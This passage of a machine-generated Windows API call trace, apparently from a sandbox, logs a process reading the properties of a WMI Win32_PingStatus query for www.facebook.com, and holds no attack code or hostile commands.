plFlavor=0x22f9dc4*=64) returned 0x0 [0142.287] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.287] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.287] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9e18*=0, plFlavor=0x22f9e1c*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9e18*=8, plFlavor=0x22f9e1c*=64) returned 0x0 [0142.287] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9e40*=0, plFlavor=0x22f9e44*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22f9e40*=8, plFlavor=0x22f9e44*=64) returned 0x0 [0142.287] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.287] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.287] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9e98*=0, plFlavor=0x22f9e9c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22f9e98*=8, plFlavor=0x22f9e9c*=64) returned 0x0 [0142.287] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.287] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.288] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa084*=0, plFlavor=0x22fa088*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22fa084*=3, plFlavor=0x22fa088*=64) returned 0x0 [0142.288] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa0b8*=0, plFlavor=0x22fa0bc*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22fa0b8*=8200, plFlavor=0x22fa0bc*=64) returned 0x0 [0142.288] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa0ec*=0, plFlavor=0x22fa0f0*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22fa0ec*=8, plFlavor=0x22fa0f0*=64) returned 0x0 [0142.288] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.288] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.288] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa138*=0, plFlavor=0x22fa13c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22fa138*=8, plFlavor=0x22fa13c*=64) returned 0x0 [0142.288] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.288] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.288] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa184*=0, plFlavor=0x22fa188*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22fa184*=8, plFlavor=0x22fa188*=64) returned 0x0 [0142.289] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.289] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0142.289] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0142.289] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.289] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="Address", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa3c0*=0, plFlavor=0x22fa3c4*=0 | out: pVal=0x572e938*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22fa3c0*=8, plFlavor=0x22fa3c4*=0) returned 0x0 [0142.289] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.289] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0142.289] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0142.289] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0142.289] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0142.289] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.289] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0142.289] SafeArrayGetDim (psa=0x5c78ed8) returned 0x1 [0142.289] SafeArrayGetDim (psa=0x5c78ed8) returned 0x1 [0142.289] SafeArrayGetLBound (in: psa=0x5c78ed8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0142.289] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.289] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.290] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.290] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.290] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.290] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.290] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.290] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.290] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.290] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.290] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.290] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.290] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.290] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.290] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.290] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.290] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.290] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.290] SysStringByteLen (bstr="__PATH") returned 0xc [0142.290] SysStringByteLen (bstr="__PATH") returned 0xc [0142.290] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa798*=0, plFlavor=0x22fa79c*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22fa798*=3, plFlavor=0x22fa79c*=64) returned 0x0 [0142.291] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa7cc*=0, plFlavor=0x22fa7d0*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22fa7cc*=8, plFlavor=0x22fa7d0*=64) returned 0x0 [0142.291] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.291] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.291] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa824*=0, plFlavor=0x22fa828*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa824*=8, plFlavor=0x22fa828*=64) returned 0x0 [0142.291] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa84c*=0, plFlavor=0x22fa850*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22fa84c*=8, plFlavor=0x22fa850*=64) returned 0x0 [0142.291] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.291] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.291] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fa8a4*=0, plFlavor=0x22fa8a8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22fa8a4*=8, plFlavor=0x22fa8a8*=64) returned 0x0 [0142.291] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.291] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.291] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22faa84*=0, plFlavor=0x22faa88*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22faa84*=3, plFlavor=0x22faa88*=64) returned 0x0 [0142.292] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22faab8*=0, plFlavor=0x22faabc*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ea8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22faab8*=8200, plFlavor=0x22faabc*=64) returned 0x0 [0142.365] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22faaec*=0, plFlavor=0x22faaf0*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22faaec*=8, plFlavor=0x22faaf0*=64) returned 0x0 [0142.365] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.365] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.365] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fab38*=0, plFlavor=0x22fab3c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22fab38*=8, plFlavor=0x22fab3c*=64) returned 0x0 [0142.366] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.366] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.366] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fab84*=0, plFlavor=0x22fab88*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22fab84*=8, plFlavor=0x22fab88*=64) returned 0x0 [0142.366] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.366] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.366] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0142.366] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0142.366] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.366] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="Address", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fadc0*=0, plFlavor=0x22fadc4*=0 | out: pVal=0x572e96c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22fadc0*=8, plFlavor=0x22fadc4*=0) returned 0x0 [0142.366] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.366] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.366] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="Address", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fadc0*=8, plFlavor=0x22fadc4*=0 | out: pVal=0x572ea20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22fadc0*=8, plFlavor=0x22fadc4*=0) returned 0x0 [0142.366] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.366] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.367] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x584 [0142.367] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.367] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.367] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.367] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fba14*=0, plFlavor=0x22fba18*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22fba14*=8, plFlavor=0x22fba18*=64) returned 0x0 [0142.367] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.367] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.367] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fba14*=8, plFlavor=0x22fba18*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22fba14*=8, plFlavor=0x22fba18*=64) returned 0x0 [0142.367] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.367] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.367] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.367] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.367] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.367] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fbab0*=0, plFlavor=0x22fbab4*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22fbab0*=8, plFlavor=0x22fbab4*=64) returned 0x0 [0142.367] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.367] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.367] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fbab0*=8, plFlavor=0x22fbab4*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22fbab0*=8, plFlavor=0x22fbab4*=64) returned 0x0 [0142.368] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.368] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.368] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.368] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.368] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fbc0c*=0, plFlavor=0x22fbc10*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ed8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22fbc0c*=8200, plFlavor=0x22fbc10*=64) returned 0x0 [0142.368] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fbc0c*=8200, plFlavor=0x22fbc10*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ea8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22fbc0c*=8200, plFlavor=0x22fbc10*=64) returned 0x0 [0142.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.368] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.368] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.368] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fbe74*=0, plFlavor=0x22fbe78*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22fbe74*=8, plFlavor=0x22fbe78*=64) returned 0x0 [0142.368] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.368] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.369] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fbe74*=8, plFlavor=0x22fbe78*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22fbe74*=8, plFlavor=0x22fbe78*=64) returned 0x0 [0142.369] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.369] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.369] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.369] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.369] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.369] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fbfa8*=0, plFlavor=0x22fbfac*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ed8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, 